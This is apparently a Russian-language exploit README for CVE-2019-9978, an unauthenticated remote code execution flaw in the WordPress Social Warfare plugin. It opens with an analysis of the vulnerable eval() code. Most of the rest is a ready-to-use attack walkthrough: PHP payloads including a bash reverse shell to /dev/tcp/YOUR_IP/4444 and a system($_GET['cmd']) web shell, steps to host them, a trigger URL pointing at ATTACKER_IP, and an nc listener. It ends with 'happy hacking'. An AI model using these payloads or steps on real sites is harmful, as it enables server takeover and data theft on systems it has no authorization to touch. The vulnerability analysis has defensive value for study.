
Полное пошаговое руководство и эксплойт для CVE-2019-9978 - Неаутентифицированное удаленное выполнение кода в плагине Social Warfare для WordPress версии ≤ 3.5.2. Включает анализ уязвимого кода и примеры полезных нагрузок.

⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот репозиторий предназначен только для образовательного и авторизованного тестирования безопасности. Используйте только на системах, которыми вы владеете или на которые имеете явное письменное разрешение. Несанкционированный доступ незаконен.
| Свойство | Значение |
|---|---|
| CVE ID | CVE-2019-9978 |
| Затронутое ПО | Social Warfare Plugin ≤ 3.5.2 (WordPress) |
| Тип уязвимости | Удаленное выполнение кода (RCE) / Удаленное включение файла (RFI) |
| Требуется аутентификация | ❌ Нет – неаутентифицированный |
| CVSS Score | 9.8 (Критический) |
| Исправлено в | Версия 3.5.3 |
| Эксплуатировалось в дикой природе | Да – март 2019 |
Плагин Social Warfare — это популярный плагин WordPress, который добавляет кнопки социальных сетей на сайты. Версии 3.5.0–3.5.2 содержат критическую уязвимость RCE, позволяющую злоумышленникам выполнять произвольный PHP-код на сервере без аутентификации.
Social Warfare — популярный плагин WordPress, который добавляет кнопки социальных сетей на сайты, позволяя посетителям легко делиться контентом на таких платформах, как:

if ( true == SWP_Utility::debug( 'load_options' ) ) {
// ⚠️ КРИТИЧЕСКОЕ НЕДОПОНИМАНИЕ:
// is_admin() проверяет только, находится ли страница в /wp-admin/
// Она НЕ проверяет аутентификацию или привилегии пользователя!
if ( is_admin() ) {
wp_die( 'You do not have authorization to view this page.' );
}
// Шаг 1: Получение удаленного файла по URL, указанному пользователем
// Никакой валидации, санитизации или белого списка!
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
// Шаг 2: Извлечение содержимого между тегами <pre>
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
// Шаг 3: Формирование строки PHP-кода
$array = 'return ' . $options . ';';
// Шаг 4: 💀 КРИТИЧЕСКАЯ ОШИБКА - Выполнение кода, предоставленного пользователем!
try {
$fetched_options = eval( $array ); // <-- Удаленное выполнение кода
// ... остальная логика миграции
} catch ( ParseError $e ) {
// ... обработка ошибок
}
}
is_admin() НЕ является защитойФункция WordPress is_admin() не проверяет, вошел ли пользователь в систему или имеет ли он права администратора. Она только проверяет, находится ли запрошенная страница в каталоге /wp-admin/:
function is_admin() {
return defined('WP_ADMIN') && WP_ADMIN;
// НЕ проверяет аутентификацию!
// НЕ проверяет роль пользователя!
}
Ирония: При доступе к /wp-admin/admin-post.php WordPress определяет WP_ADMIN = true. Это заставляет is_admin() возвращать true даже для неаутентифицированных запросов, что включает выполнение уязвимого блока кода.
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
$array = 'return ' . $options . ';';
try {
$fetched_options = eval( $array ); // <-- Удаленное выполнение кода
}
Плагин имел скрытую функцию «отладки», которая должна была помогать разработчикам загружать файлы конфигурации из внешних URL. Однако эта функция имела фатальную ошибку: она загружала любой файл по предоставленному пользователем URL и выполняла любой найденный внутри код — без запроса разрешения или проверки авторизации пользователя.
Эксплойт прост:
Злоумышленник размещает вредоносный файл на своем сервере, сообщает плагину загрузить его, и плагин слепо выполняет код злоумышленника на сайте жертвы. Поскольку для срабатывания не требуется вход в систему, любой, кто знает URL, может захватить сайт.
Представьте это так: Представьте охранника, который открывает любую дверь, когда вы говорите «режим отладки» — не проверяя, работаете ли вы там или имеете пропуск. Именно так и работала эта уязвимость.
Эксплойт должен быть записан между тегами <pre></pre>.
Используйте WPScan для определения версии плагина Social Warfare:
wpscan --url http://target.com --enumerate vp
Если вы установили самостоятельно, не забудьте активировать плагин в панели администратора.
Создайте payload.txt с нужной полезной нагрузкой, а затем запустите сервер для её обслуживания.
примеры полезных нагрузок:
Тестовая нагрузка (проверка RCE):
<pre>phpinfo();</pre>
тест вне границ:
<pre>@file_get_contents('http://burp collabrator');</pre>
Обратная оболочка Linux:
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>
Интерактивное выполнение команд:
<pre>system($_GET['cmd']);</pre>
Запустите Python HTTP-сервер для размещения вашей нагрузки:
python3 -m http.server 8000
Теперь ваша нагрузка доступна по адресу: http://YOUR_IP:8000/payload.txt
если вы используете localhost:
http://127.0.0.1:8000/payload.txt
после отправки запроса из уязвимого кода вы должны увидеть код состояния 200:

Вариант A – Ручной запуск:
Перейдите по этому URL в браузере или используйте curl:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt
опять же, если вы используете localhost:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt
nc -lvnp 4444
В случае успеха вы получите оболочку!
<pre>@file_get_contents('http://burp collabrator');</pre>

<pre>phpinfo();</pre>

Удачного взлома! 🚀